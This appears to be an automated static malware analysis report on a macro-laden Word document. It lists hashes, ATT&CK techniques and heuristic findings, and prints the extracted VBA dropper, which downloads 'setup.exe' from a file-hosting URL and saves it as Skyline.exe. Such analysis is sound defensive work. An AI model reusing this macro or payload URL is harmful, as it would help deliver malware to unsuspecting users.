Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 eaeb65d1ec450b8f…

MALICIOUS

Office (OOXML)

25.2 KB Created: 2021-06-11 06:23:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-06-17
MD5: 749d00efa99328c112715b1c287a4725 SHA-1: df9a8b757849b0548fefb72955481f0e1d82756f SHA-256: eaeb65d1ec450b8fdc7158cf1ba5e26b8ffe4e67d5ce3d9f83cc07f23d96ff4e
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros. It uses a "Protected View" lure to encourage users to enable content. The VBA macro utilizes the URLDownloadToFile function to download a second-stage executable named 'Skyline.exe' from the URL 'https://s18.picofile.com/d/8436555534/37db10bb-fa46-483c-bd74-3e8e0efca3c8/setup.exe' into the 'C:\dd\' directory.

Heuristics 5

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://s18.picofile.com/d/8436555534/37db10bb-fa46-483c-bd74-3e8e0efca3c8/setup.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 776 bytes
SHA-256: 4ddf656e2601befcbf4c66a12ac50a93ab548d9301b61c11287135e3bec10cf1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub download_HK_picture()
imgsrc = "https://s18.picofile.com/d/8436555534/37db10bb-fa46-483c-bd74-3e8e0efca3c8/setup.exe"
dlpath = "C:\dd\"
URLDownloadToFile 0, imgsrc, dlpath & "Skyline.exe", 0, 0

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 50feb870b6c46d52778989cdd621f26b875ade081578a49a1129af5ece56fe6d

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